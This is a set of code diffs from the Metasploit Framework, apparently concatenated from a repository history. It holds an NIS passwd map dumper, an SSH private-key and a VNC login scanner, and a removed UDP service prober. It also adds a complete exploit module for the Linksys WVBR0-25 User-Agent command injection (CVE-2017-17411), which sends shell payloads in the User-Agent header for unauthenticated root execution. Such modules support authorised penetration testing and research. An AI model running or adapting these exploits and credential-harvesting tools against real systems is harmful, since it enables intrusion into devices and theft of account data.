domain, # Domain: [redacted]
|
||||
map_name # Map Name: passwd.byname
|
||||
)
|
||||
|
||||
begin
|
||||
res = sunrpc_call(
|
||||
8, # Procedure: ALL (8)
|
||||
ypserv_all_call # Yellow Pages Service ALL call
|
||||
)
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
|
||||
ensure
|
||||
# Shut it down! Shut it down forever!
|
||||
sunrpc_destroy
|
||||
end
|
||||
|
||||
unless res && res.length > 8
|
||||
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
|
||||
return
|
||||
end
|
||||
|
||||
# XXX: Rex::Encoder::XDR doesn't do signed ints
|
||||
case res[4, 4].unpack('l>').first
|
||||
# Status: YP_NOMAP (-1)
|
||||
when -1
|
||||
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
|
||||
# Status: YP_NODOM (-2)
|
||||
when -2
|
||||
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
|
||||
end
|
||||
|
||||
map = begin
|
||||
Timeout.timeout(datastore['XDRTimeout']) do
|
||||
parse_map(res)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::TimeoutExpired,
|
||||
'XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
return
|
||||
end
|
||||
|
||||
if map.blank?
|
||||
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
|
||||
return
|
||||
end
|
||||
|
||||
map_file = map.values.join("\n") + "\n"
|
||||
|
||||
print_good("Dumping map #{map_name} on domain #{domain}:\n#{map_file}")
|
||||
|
||||
# XXX: map_name contains null bytes if its length isn't a multiple of four
|
||||
store_loot(map_name.strip, 'text/plain', rhost, map_file)
|
||||
end
|
||||
|
||||
def parse_map(res)
|
||||
map = {}
|
||||
|
||||
loop do
|
||||
begin
|
||||
# XXX: res is modified in place
|
||||
_, status, value, key = Rex::Encoder::XDR.decode!(
|
||||
res,
|
||||
Integer, # More: Yes
|
||||
Integer, # Status: YP_TRUE (1)
|
||||
String, # Value: [redacted]
|
||||
String # Key: [redacted]
|
||||
)
|
||||
|
||||
break unless status == 1 && key && value
|
||||
|
||||
map[key] = value
|
||||
rescue Rex::ArgumentError
|
||||
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
map
|
||||
end
|
||||
|
||||
# ypcat -x
|
||||
def nick_to_map(nick)
|
||||
{
|
||||
'ethers' => 'ethers.byname',
|
||||
'aliases' => 'mail.aliases',
|
||||
'services' => 'services.byname',
|
||||
'protocols' => 'protocols.bynumber',
|
||||
'hosts' => 'hosts.byname',
|
||||
'networks' => 'networks.byaddr',
|
||||
'group' => 'group.byname',
|
||||
'passwd' => 'passwd.byname'
|
||||
}[nick] || nick
|
||||
end
|
||||
|
||||
end
|
|
@ -55,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("Looking for services on #{ip}:#{rport}...")
|
||||
|
||||
ids = dcerpc_mgmt_inq_if_ids(rport)
|
||||
return if not ids
|
||||
next if not ids
|
||||
|
||||
ids.each do |id|
|
||||
if (not servs.has_key?(id[0]+'_'+id[1]))
|
||||
|
|
|
@ -1,535 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'openssl'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 11, 23), 'auxiliary/scanner/discovery/udp_sweep')
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'UDP Service Prober',
|
||||
'Description' => 'Detect common UDP services using sequential probes',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::CHOST,
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true])
|
||||
])
|
||||
|
||||
# Intialize the probes array
|
||||
@probes = []
|
||||
|
||||
# Add the UDP probe method names
|
||||
@probes << 'probe_pkt_dns'
|
||||
@probes << 'probe_pkt_netbios'
|
||||
@probes << 'probe_pkt_portmap'
|
||||
@probes << 'probe_pkt_mssql'
|
||||
@probes << 'probe_pkt_ntp'
|
||||
@probes << 'probe_pkt_snmp1'
|
||||
@probes << 'probe_pkt_snmp2'
|
||||
@probes << 'probe_pkt_sentinel'
|
||||
@probes << 'probe_pkt_db2disco'
|
||||
@probes << 'probe_pkt_citrix'
|
||||
@probes << 'probe_pkt_pca_st'
|
||||
@probes << 'probe_pkt_pca_nq'
|
||||
@probes << 'probe_chargen'
|
||||
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
|
||||
if datastore['RANDOMIZE_PORTS']
|
||||
@probes = @probes.sort_by { rand }
|
||||
end
|
||||
end
|
||||
|
||||
# Fingerprint a single host
|
||||
def run_host(ip)
|
||||
@results = {}
|
||||
@thost = ip
|
||||
|
||||
begin
|
||||
udp_sock = nil
|
||||
|
||||
@probes.each do |probe|
|
||||
|
||||
# Send each probe to each host
|
||||
|
||||
begin
|
||||
data, port = self.send(probe, ip)
|
||||
@tport = port
|
||||
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( {
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'PeerHost' => ip, 'PeerPort' => port,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
||||
})
|
||||
|
||||
udp_sock.put(data)
|
||||
|
||||
r = udp_sock.recvfrom(65535, 0.1) and r[1]
|
||||
parse_reply(r) if r
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
|
||||
nil
|
||||
ensure
|
||||
udp_sock.close if udp_sock
|
||||
end
|
||||
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
@results.each_key do |k|
|
||||
next if not @results[k].respond_to?('keys')
|
||||
data = @results[k]
|
||||
|
||||
next unless inside_workspace_boundary?(data[:host])
|
||||
|
||||
conf = {
|
||||
:host => data[:host],
|
||||
:port => data[:port],
|
||||
:proto => 'udp',
|
||||
:name => data[:app],
|
||||
:info => data[:info]
|
||||
}
|
||||
|
||||
if data[:hname]
|
||||
conf[:host_name] = data[:hname].downcase
|
||||
end
|
||||
|
||||
if data[:mac]
|
||||
conf[:mac] = data[:mac].downcase
|
||||
end
|
||||
|
||||
report_service(conf)
|
||||
print_good("Discovered #{data[:app]} on #{k} (#{data[:info]})")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# The response parsers
|
||||
#
|
||||
def parse_reply(pkt)
|
||||
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
if(pkt[1] =~ /^::ffff:/)
|
||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
app = 'unknown'
|
||||
inf = ''
|
||||
maddr = nil
|
||||
hname = nil
|
||||
|
||||
hkey = "#{pkt[1]}:#{pkt[2]}"
|
||||
|
||||
# Work with protocols that return different data in different packets
|
||||
# These are reported at the end of the scanning loop to build state
|
||||
case pkt[2]
|
||||
when 5632
|
||||
|
||||
@results[hkey] ||= {}
|
||||
data = @results[hkey]
|
||||
data[:app] = "pcAnywhere_stat"
|
||||
data[:port] = pkt[2]
|
||||
data[:host] = pkt[1]
|
||||
|
||||
case pkt[0]
|
||||
|
||||
when /^NR(........................)(........)/
|
||||
name = $1.dup
|
||||
caps = $2.dup
|
||||
name = name.gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
caps = caps.gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
data[:name] = name
|
||||
data[:caps] = caps
|
||||
|
||||
when /^ST(.+)/
|
||||
buff = $1.dup
|
||||
stat = 'Unknown'
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 67
|
||||
stat = "Available"
|
||||
end
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 11
|
||||
stat = "Busy"
|
||||
end
|
||||
|
||||
data[:stat] = stat
|
||||
end
|
||||
|
||||
if data[:name]
|
||||
inf << "Name: #{data[:name]} "
|
||||
end
|
||||
|
||||
if data[:stat]
|
||||
inf << "- #{data[:stat]} "
|
||||
end
|
||||
|
||||
if data[:caps]
|
||||
inf << "( #{data[:caps]} ) "
|
||||
end
|
||||
data[:info] = inf
|
||||
end
|
||||
|
||||
|
||||
# Ignore duplicates for the protocols below
|
||||
return if @results[hkey]
|
||||
|
||||
case pkt[2]
|
||||
|
||||
when 19
|
||||
app = 'chargen'
|
||||
return unless chargen_parse(pkt[0])
|
||||
@results[hkey] = true
|
||||
|
||||
when 53
|
||||
app = 'DNS'
|
||||
ver = nil
|
||||
|
||||
if (not ver and pkt[0] =~ /([6789]\.[\w\.\-_\:\(\)\[\]\/\=\+\|\{\}]+)/i)
|
||||
ver = 'BIND ' + $1
|
||||
end
|
||||
|
||||
ver = 'Microsoft DNS' if (not ver and pkt[0][2,4] == "\x81\x04\x00\x01")
|
||||
ver = 'TinyDNS' if (not ver and pkt[0][2,4] == "\x81\x81\x00\x01")
|
||||
|
||||
ver = pkt[0].unpack('H*')[0] if not ver
|
||||
inf = ver if ver
|
||||
@results[hkey] = true
|
||||
|
||||
when 137
|
||||
app = 'NetBIOS'
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
head = data.slice!(0,12)
|
||||
|
||||
xid, flags, quests, answers, auths, adds = head.unpack('n6')
|
||||
return if quests != 0
|
||||
return if answers == 0
|
||||
|
||||
qname = data.slice!(0,34)
|
||||
rtype,rclass,rttl,rlen = data.slice!(0,10).unpack('nnNn')
|
||||
buff = data.slice!(0,rlen)
|
||||
|
||||
names = []
|
||||
|
||||
case rtype
|
||||
when 0x21
|
||||
rcnt = buff.slice!(0,1).unpack("C")[0]
|
||||
1.upto(rcnt) do
|
||||
tname = buff.slice!(0,15).gsub(/\x00.*/, '').strip
|
||||
ttype = buff.slice!(0,1).unpack("C")[0]
|
||||
tflag = buff.slice!(0,2).unpack('n')[0]
|
||||
names << [ tname, ttype, tflag ]
|
||||
end
|
||||
maddr = buff.slice!(0,6).unpack("C*").map{|c| "%.2x" % c }.join(":")
|
||||
|
||||
names.each do |name|
|
||||
inf << name[0]
|
||||
inf << ":<%.2x>" % name[1]
|
||||
if (name[2] & 0x8000 == 0)
|
||||
inf << ":U :"
|
||||
else
|
||||
inf << ":G :"
|
||||
end
|
||||
end
|
||||
inf << maddr
|
||||
|
||||
if(names.length > 0)
|
||||
hname = names[0][0]
|
||||
end
|
||||
end
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 111
|
||||
app = 'Portmap'
|
||||
buf = pkt[0]
|
||||
inf = ""
|
||||
hed = buf.slice!(0,24)
|
||||
svc = []
|
||||
while(buf.length >= 20)
|
||||
rec = buf.slice!(0,20).unpack("N5")
|
||||
svc << "#{rec[1]} v#{rec[2]} #{rec[3] == 0x06 ? "TCP" : "UDP"}(#{rec[4]})"
|
||||
report_service(
|
||||
:host => pkt[1],
|
||||
:port => rec[4],
|
||||
:proto => (rec[3] == 0x06 ? "tcp" : "udp"),
|
||||
:name => "sunrpc",
|
||||
:info => "#{rec[1]} v#{rec[2]}"
|
||||
)
|
||||
end
|
||||
inf = svc.join(", ")
|
||||
@results[hkey] = true
|
||||
|
||||
when 123
|
||||
app = 'NTP'
|
||||
ver = nil
|
||||
ver = pkt[0].unpack('H*')[0]
|
||||
ver = 'NTP v3' if (ver =~ /^1c06|^1c05/)
|
||||
ver = 'NTP v4' if (ver =~ /^240304/)
|
||||
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
|
||||
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
|
||||
inf = ver if ver
|
||||
@results[hkey] = true
|
||||
|
||||
when 1434
|
||||
app = 'MSSQL'
|
||||
mssql_ping_parse(pkt[0]).each_pair { |k,v|
|
||||
inf += k+'='+v+' '
|
||||
}
|
||||
@results[hkey] = true
|
||||
|
||||
when 161
|
||||
app = 'SNMP'
|
||||
|
||||
asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil
|
||||
return if not asn
|
||||
|
||||
snmp_error = asn.value[0].value rescue nil
|
||||
snmp_comm = asn.value[1].value rescue nil
|
||||
snmp_data = asn.value[2].value[3].value[0] rescue nil
|
||||
snmp_oid = snmp_data.value[0].value rescue nil
|
||||
snmp_info = snmp_data.value[1].value rescue nil
|
||||
|
||||
return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info)
|
||||
snmp_info = snmp_info.to_s.gsub(/\s+/, ' ')
|
||||
|
||||
inf = snmp_info
|
||||
com = snmp_comm
|
||||
@results[hkey] = true
|
||||
|
||||
when 5093
|
||||
app = 'Sentinel'
|
||||
@results[hkey] = true
|
||||
|
||||
when 523
|
||||
app = 'ibm-db2'
|
||||
inf = db2disco_parse(pkt[0])
|
||||
@results[hkey] = true
|
||||
|
||||
when 1604
|
||||
app = 'citrix-ica'
|
||||
return unless citrix_parse(pkt[0])
|
||||
@results[hkey] = true
|
||||
|
||||
end
|
||||
|
||||
return unless inside_workspace_boundary?(pkt[1])
|
||||
report_service(
|
||||
:host => pkt[1],
|
||||
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
|
||||
:host_name => (hname) ? hname.downcase : nil,
|
||||
:port => pkt[2],
|
||||
:proto => 'udp',
|
||||
:name => app,
|
||||
:info => inf
|
||||
)
|
||||
|
||||
print_good("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Parse a db2disco packet.
|
||||
#
|
||||
def db2disco_parse(data)
|
||||
res = data.split("\x00")
|
||||
"#{res[2]}_#{res[1]}"
|
||||
end
|
||||
|
||||
#
|
||||
# Validate a chargen packet.
|
||||
#
|
||||
def chargen_parse(data)
|
||||
data =~ /ABCDEFGHIJKLMNOPQRSTUVWXYZ|0123456789/i
|
||||
end
|
||||
|
||||
#
|
||||
# Validate this is truly Citrix ICA; returns true or false.
|
||||
#
|
||||
def citrix_parse(data)
|
||||
server_response = "\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44" # Server hello response
|
||||
data =~ /^#{server_response}/
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a 'ping' response and format as a hash
|
||||
#
|
||||
def mssql_ping_parse(data)
|
||||
res = {}
|
||||
var = nil
|
||||
idx = data.index('ServerName')
|
||||
return res if not idx
|
||||
|
||||
data[idx, data.length-idx].split(';').each do |d|
|
||||
if (not var)
|
||||
var = d
|
||||
else
|
||||
if (var.length > 0)
|
||||
res[var] = d
|
||||
var = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
#
|
||||
# The probe definitions
|
||||
#
|
||||
|
||||
def probe_chargen(ip)
|
||||
pkt = Rex::Text.rand_text_alpha_lower(1)
|
||||
return [pkt, 19]
|
||||
end
|
||||
|
||||
def probe_pkt_dns(ip)
|
||||
data = [rand(0xffff)].pack('n') +
|
||||
"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+
|
||||
"\x07"+ "VERSION"+
|
||||
"\x04"+ "BIND"+
|
||||
"\x00\x00\x10\x00\x03"
|
||||
|
||||
return [data, 53]
|
||||
end
|
||||
|
||||
def probe_pkt_netbios(ip)
|
||||
data =
|
||||
[rand(0xffff)].pack('n')+
|
||||
"\x00\x00\x00\x01\x00\x00\x00\x00"+
|
||||
"\x00\x00\x20\x43\x4b\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x00\x00\x21\x00\x01"
|
||||
|
||||
return [data, 137]
|
||||
end
|
||||
|
||||
def probe_pkt_portmap(ip)
|
||||
data =
|
||||
[
|
||||
rand(0xffffffff), # XID
|
||||
0, # Type
|
||||
2, # RPC Version
|
||||
100000, # Program ID
|
||||
2, # Program Version
|
||||
4, # Procedure
|
||||
0, 0, # Credentials
|
||||
0, 0, # Verifier
|
||||
].pack('N*')
|
||||
|
||||
return [data, 111]
|
||||
end
|
||||
|
||||
def probe_pkt_mssql(ip)
|
||||
return ["\x02", 1434]
|
||||
end
|
||||
|
||||
def probe_pkt_ntp(ip)
|
||||
data =
|
||||
"\xe3\x00\x04\xfa\x00\x01\x00\x00\x00\x01\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xc5\x4f\x23\x4b\x71\xb1\x52\xf3"
|
||||
return [data, 123]
|
||||
end
|
||||
|
||||
|
||||
def probe_pkt_sentinel(ip)
|
||||
return ["\x7a\x00\x00\x00\x00\x00", 5093]
|
||||
end
|
||||
|
||||
def probe_pkt_snmp1(ip)
|
||||
version = 1
|
||||
data = OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1::Integer(version - 1),
|
||||
OpenSSL::ASN1::OctetString("public"),
|
||||
OpenSSL::ASN1::Set.new([
|
||||
OpenSSL::ASN1::Integer(rand(0x80000000)),
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
|
||||
OpenSSL::ASN1.Null(nil)
|
||||
])
|
||||
]),
|
||||
], 0, :IMPLICIT)
|
||||
]).to_der
|
||||
[data, 161]
|
||||
end
|
||||
|
||||
def probe_pkt_snmp2(ip)
|
||||
version = 2
|
||||
data = OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1::Integer(version - 1),
|
||||
OpenSSL::ASN1::OctetString("public"),
|
||||
OpenSSL::ASN1::Set.new([
|
||||
OpenSSL::ASN1::Integer(rand(0x80000000)),
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1::Sequence([
|
||||
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
|
||||
OpenSSL::ASN1.Null(nil)
|
||||
])
|
||||
]),
|
||||
], 0, :IMPLICIT)
|
||||
]).to_der
|
||||
[data, 161]
|
||||
end
|
||||
|
||||
def probe_pkt_db2disco(ip)
|
||||
data = "DB2GETADDR\x00SQL05000\x00"
|
||||
[data, 523]
|
||||
end
|
||||
|
||||
def probe_pkt_citrix(ip) # Server hello packet from citrix_published_bruteforce
|
||||
data =
|
||||
"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
return [data, 1604]
|
||||
end
|
||||
|
||||
def probe_pkt_pca_st(ip)
|
||||
return ["ST", 5632]
|
||||
end
|
||||
|
||||
def probe_pkt_pca_nq(ip)
|
||||
return ["NQ", 5632]
|
||||
end
|
||||
end
|
|
@ -28,15 +28,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
this module will record successful logins and hosts so you can
|
||||
track your access.
|
||||
|
||||
Note that password-protected key files will not function with this
|
||||
module -- it is designed specifically for unencrypted (passwordless)
|
||||
keys.
|
||||
|
||||
Key files may be a single private (unencrypted) key, or several private
|
||||
keys concatenated together as an ASCII text file. Non-key data should be
|
||||
silently ignored.
|
||||
Key files may be a single private key, or several private keys in a single
|
||||
directory. Only a single passphrase is supported however, so it must either
|
||||
be shared between subject keys or only belong to a single one.
|
||||
},
|
||||
'Author' => ['todb'],
|
||||
'Author' => ['todb', 'RageLtMan'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
|
@ -44,6 +40,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[
|
||||
Opt::RPORT(22),
|
||||
OptPath.new('KEY_PATH', [true, 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped.']),
|
||||
OptString.new('KEY_PASS', [false, 'Passphrase for SSH private key(s)']),
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -63,10 +60,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def key_dir
|
||||
datastore['KEY_DIR']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
@ -75,71 +68,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def read_keyfile(file)
|
||||
if file == :keyfile_b64
|
||||
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
|
||||
elsif file.kind_of? Array
|
||||
keyfile = ''
|
||||
file.each do |dir_entry|
|
||||
next unless File.readable? dir_entry
|
||||
keyfile << File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
|
||||
end
|
||||
else
|
||||
keyfile = File.open(file, "rb") {|f| f.read(f.stat.size)}
|
||||
end
|
||||
keys = []
|
||||
this_key = []
|
||||
in_key = false
|
||||
keyfile.split("\n").each do |line|
|
||||
in_key = true if(line =~ /^-----BEGIN [RD]SA PRIVATE KEY-----/)
|
||||
this_key << line if in_key
|
||||
if(line =~ /^-----END [RD]SA PRIVATE KEY-----/)
|
||||
in_key = false
|
||||
keys << (this_key.join("\n") + "\n")
|
||||
this_key = []
|
||||
end
|
||||
end
|
||||
if keys.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No keys found."
|
||||
end
|
||||
return validate_keys(keys)
|
||||
end
|
||||
|
||||
# Validates that the key isn't total garbage. Also throws out SSH2 keys --
|
||||
# can't use 'em for Net::SSH.
|
||||
def validate_keys(keys)
|
||||
keepers = []
|
||||
keys.each do |key|
|
||||
# Needs a beginning
|
||||
next unless key =~ /^-----BEGIN [RD]SA PRIVATE KEY-----\x0d?\x0a/m
|
||||
# Needs an end
|
||||
next unless key =~ /\n-----END [RD]SA PRIVATE KEY-----\x0d?\x0a?$/m
|
||||
# Shouldn't have binary.
|
||||
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
|
||||
# Add more tests to taste.
|
||||
keepers << key
|
||||
end
|
||||
if keepers.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
||||
end
|
||||
return keepers
|
||||
end
|
||||
|
||||
def pull_cleartext_keys(keys)
|
||||
cleartext_keys = []
|
||||
keys.each do |key|
|
||||
next unless key
|
||||
next if key =~ /Proc-Type:.*ENCRYPTED/
|
||||
this_key = key.gsub(/\x0d/,"")
|
||||
next if cleartext_keys.include? this_key
|
||||
cleartext_keys << this_key
|
||||
end
|
||||
if cleartext_keys.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
|
||||
end
|
||||
return cleartext_keys
|
||||
end
|
||||
|
||||
def session_setup(result, ssh_socket, fingerprint)
|
||||
return unless ssh_socket
|
||||
|
||||
|
@ -196,6 +124,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
keys = KeyCollection.new(
|
||||
key_path: datastore['KEY_PATH'],
|
||||
password: datastore['KEY_PASS'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
)
|
||||
|
@ -289,7 +218,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def valid_key?(key_data)
|
||||
!!(key_data.match(/BEGIN [RD]SA PRIVATE KEY/) && !key_data.match(/Proc-Type:.*ENCRYPTED/))
|
||||
!!(key_data.match(/BEGIN [RECD]SA PRIVATE KEY/) && !key_data.match(/Proc-Type:.*ENCRYPTED/))
|
||||
end
|
||||
|
||||
def each
|
||||
|
@ -321,13 +250,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def read_key(filename)
|
||||
@cache ||= {}
|
||||
unless @cache[filename]
|
||||
data = File.open(filename, 'rb') { |fd| fd.read(fd.stat.size) }
|
||||
#if data.match
|
||||
|
||||
@cache[filename] = data
|
||||
end
|
||||
|
||||
@cache[filename] ||= Net::SSH::KeyFactory.load_data_private_key(File.read(key_path), password, false, key_path).to_s
|
||||
@cache[filename]
|
||||
end
|
||||
|
||||
|
|
|
@ -81,6 +81,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
log_credential(password)
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("VNC handshake failed.")
|
||||
return
|
||||
end
|
||||
disconnect
|
||||
|
||||
|
@ -92,6 +95,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
log_credential(password)
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("VNC handshake failed.")
|
||||
return
|
||||
end
|
||||
disconnect
|
||||
|
||||
|
@ -103,6 +109,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
log_credential('')
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("VNC handshake failed.")
|
||||
return
|
||||
end
|
||||
|
||||
ensure
|
||||
|
|
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',
|
||||
'Description' => %q{
|
||||
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
|
||||
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
|
||||
of the web management portal via the User-Agent header. Authentication is not required to
|
||||
exploit this vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'HeadlessZeke' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-17411'],
|
||||
['ZDI', '17-973'],
|
||||
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 13 2017',
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 1024,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic netcat'
|
||||
}
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
check_str = rand_text_alpha(8)
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'agent' => "\"; printf \"#{check_str}"
|
||||
})
|
||||
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to access the device ...")
|
||||
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
exploit_cmd
|
||||
else
|
||||
exploit_session
|
||||
end
|
||||
end
|
||||
|
||||
def exploit_cmd
|
||||
beg_boundary = rand_text_alpha(8)
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
|
||||
print_good("#{peer} - Command sent successfully")
|
||||
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
|
||||
print_status("#{peer} - Command output: #{$1}")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit_session
|
||||
begin
|
||||
send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'agent' => "\"; #{payload.encoded} #"
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
|
